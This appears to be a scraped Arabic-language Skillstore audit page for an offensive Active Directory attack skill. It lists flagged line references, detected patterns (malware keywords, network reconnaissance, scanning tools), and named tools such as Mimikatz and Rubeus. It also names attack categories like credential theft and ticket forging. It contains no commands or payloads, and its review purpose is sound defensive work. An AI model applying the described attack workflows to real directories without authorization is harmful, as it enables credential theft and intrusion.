references/advanced-attacks.md:70 references/advanced-attacks.md:23 references/advanced-attacks.md:24 references/advanced-attacks.md:44 references/advanced-attacks.md:51 references/advanced-attacks.md:56 references/advanced-attacks.md:68 references/advanced-attacks.md:85 references/advanced-attacks.md:91 references/advanced-attacks.md:131 references/advanced-attacks.md:169 references/advanced-attacks.md:262 references/advanced-attacks.md:305 references/advanced-attacks.md:306 references/advanced-attacks.md:315 references/advanced-attacks.md:316 references/advanced-attacks.md:339 references/advanced-attacks.md:99 references/advanced-attacks.md:185 SKILL.md:57-69 SKILL.md:69-73 SKILL.md:73-84 SKILL.md:84-88 SKILL.md:88-109 SKILL.md:109-117 SKILL.md:117-123 SKILL.md:123-129 SKILL.md:129-141 SKILL.md:141-147 SKILL.md:147-156 SKILL.md:156-162 SKILL.md:162-169 SKILL.md:169-179 SKILL.md:179-188 SKILL.md:188-194 SKILL.md:194-197 SKILL.md:197-201 SKILL.md:201-210 SKILL.md:210-216 SKILL.md:216-223 SKILL.md:223-231 SKILL.md:231-240 SKILL.md:240-244 SKILL.md:244-246 SKILL.md:246-254 SKILL.md:254-263 SKILL.md:263-267 SKILL.md:267-269 SKILL.md:269-277 SKILL.md:277-289
🌐 الوصول إلى الشبكة (30)
references/advanced-attacks.md:233 references/advanced-attacks.md:296 SKILL.md:268 SKILL.md:59 SKILL.md:83 SKILL.md:119 SKILL.md:122 SKILL.md:131 SKILL.md:137 SKILL.md:149 SKILL.md:164 SKILL.md:203 SKILL.md:204 SKILL.md:205 SKILL.md:208 SKILL.md:209 SKILL.md:245 SKILL.md:256 SKILL.md:262 SKILL.md:279 SKILL.md:282 SKILL.md:285 SKILL.md:288 SKILL.md:295 SKILL.md:298 SKILL.md:305 SKILL.md:348 SKILL.md:351 SKILL.md:357 SKILL.md:367
📁 الوصول إلى نظام الملفات (3)
الأنماط المكتشفة
Malware type keywords×5Windows registry accessWeak cryptographic algorithm×5Secure file deletionSystem reconnaissance×4Network reconnaissance×7Network scanning tools
دقّقه: codex عرض سجل التدقيق →
شارك واستشهد بهذا التقرير
شارك تقرير التقييم المرتبط بالإصدار والشارة المحايدة وبطاقة التضمين والاستشهادات. تعرض Skillstore الأدلة من دون أن تقرر ما إذا كانت هذه المهارة آمنة.
نسخ رابط التقرير
https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportشارة Markdown
[](https://skillstore.io/skills/sickn33-active-directory-attacks?utm_source=security_passport_badge)شارة HTML
<a href="https://skillstore.io/skills/sickn33-active-directory-attacks?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-active-directory-attacks/security.svg" alt="Skillstore security assessment" loading="lazy"></a>بطاقة قابلة للتضمين
<iframe src="https://skillstore.io/embed/skills/sickn33-active-directory-attacks.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>الاستشهادات الأكاديمية (APA · BibTeX · CFF)
اقتباس APA
zebbern. (2026). active-directory-attacks security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6اقتباس BibTeX
@techreport{zebbern-sickn33-active-directory-attacks-2026,
author = {zebbern},
title = {active-directory-attacks security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "active-directory-attacks security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-active-directory-attacks/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-active-directory-attacks:audit:6"
description: "Skillstore immutable audit report identifier"
تقييم Skillstore
سبب هذا التقييم موثوقية الأدلة: متوسط 41
الهندسة المعمارية
85
قابلية الصيانة
87
المحتوى
70
المجتمع
91
الامتثال للمواصفات
ما الذي يمكنك بناؤه
تخطيط تقييم AD مصرح به
بناء قائمة تحقق محددة النطاق للاستطلاع، ومراجعة بيانات الاعتماد، واختبار Kerberos، وإعداد التقارير.
التحقق من مسارات الهجوم في المختبر
مقارنة نتائج المختبر بمسارات إساءة استخدام AD المعروفة وفئات هجمات التذاكر.
تدريس مفاهيم هجمات AD
استخدام المرجع لشرح نقاط ضعف AD الشائعة وضوابط السلامة المطلوبة في مختبر تدريبي.
جرّب هذه الموجّهات
مراجعة نطاق السلامة
بالنسبة إلى مختبر Active Directory المصرح به الخاص بي، لخص المتطلبات المسبقة وحدود السلامة وخطوات التوثيق قبل استخدام هذه المهارة.
إنشاء قائمة تحقق للاستطلاع
أنشئ قائمة تحقق استطلاعية محددة النطاق لتقييم Active Directory معتمد باستخدام خطوات اكتشاف غير مدمرة فقط.
مقارنة فئات الهجوم
قارن فئات هجمات بيانات الاعتماد وKerberos والترحيل وAD CS في هذه المهارة لبيئة اختبار مضبوطة.
بناء خطة تقييم
ابن خطة تقييم مصرح بها لمسارات هجوم Active Directory تتضمن الأهداف، والتعامل مع الأدلة، وضوابط التراجع، وأقسام التقارير.
أفضل الممارسات
- استخدمها فقط بتفويض كتابي، ونطاق محدد، ونوافذ اختبار معتمدة.
- فضّل المختبرات المعزولة عند تعلم التقنيات التي تغير المصادقة أو التذاكر أو الشهادات أو كائنات AD.
- سجل الأدلة والحسابات المتأثرة وإجراءات التراجع وحالة التنظيف لكل مسار تم اختباره.
تجنب
- لا تشغل أوامر من المهارة ضد أنظمة خارج النطاق المعتمد.
- لا تنفذ رش كلمات المرور أو استخراج بيانات الاعتماد أو اختبار الترحيل بدون ضوابط القفل والتأثير.
- لا تترك تذاكر أو شهادات أو حسابات أو مهام مجدولة أو تغييرات في السياسات بعد الاختبار.
الأسئلة المتكررة
هل هذه المهارة دفاعية أم هجومية؟
إنها مرجع هجومي لتقييم Active Directory مخصص لاستخدام الفريق الأحمر والمختبرات المصرح به.
هل تشغل المهارة الهجمات تلقائيًا؟
لا. إنها مرجع Markdown، لكنها تحتوي على أوامر يمكن للمستخدمين تنفيذها يدويًا.
هل يمكنني استخدامها على شبكات الإنتاج؟
استخدمها فقط بتفويض كتابي، ونطاق معتمد، وضوابط سلامة موثقة.
ما الأدوات التي تشير إليها؟
تشير إلى أدوات مثل Impacket وMimikatz وBloodHound وRubeus وCrackMapExec وPowerView وCertipy.
هل تتضمن معالجة دفاعية؟
تتضمن قيودًا محدودة واستكشافًا للأخطاء وإصلاحها، لكنها ليست دليلًا للتحصين أو الكشف.
لماذا تُعد مراجعة marketplace مهمة لهذه المهارة؟
تحتوي المهارة على مسارات عمل مفصلة لسرقة بيانات الاعتماد، وتزوير التذاكر، والترحيل، والاستغلال، والاستمرارية.
تفاصيل المطور
المؤلف
zebbernالترخيص
MIT
مراجعة Skillstore
r1
تنبيه الإصدار
لم يعلن المؤلف عن إصدار.
المستودع
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/active-directory-attacksمرجع
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
حداثة الصيانة
٢٦/٧/٢٠٢٦
الاستخدام
6 تنزيلات · 199 مشاهدات
بنية الملفات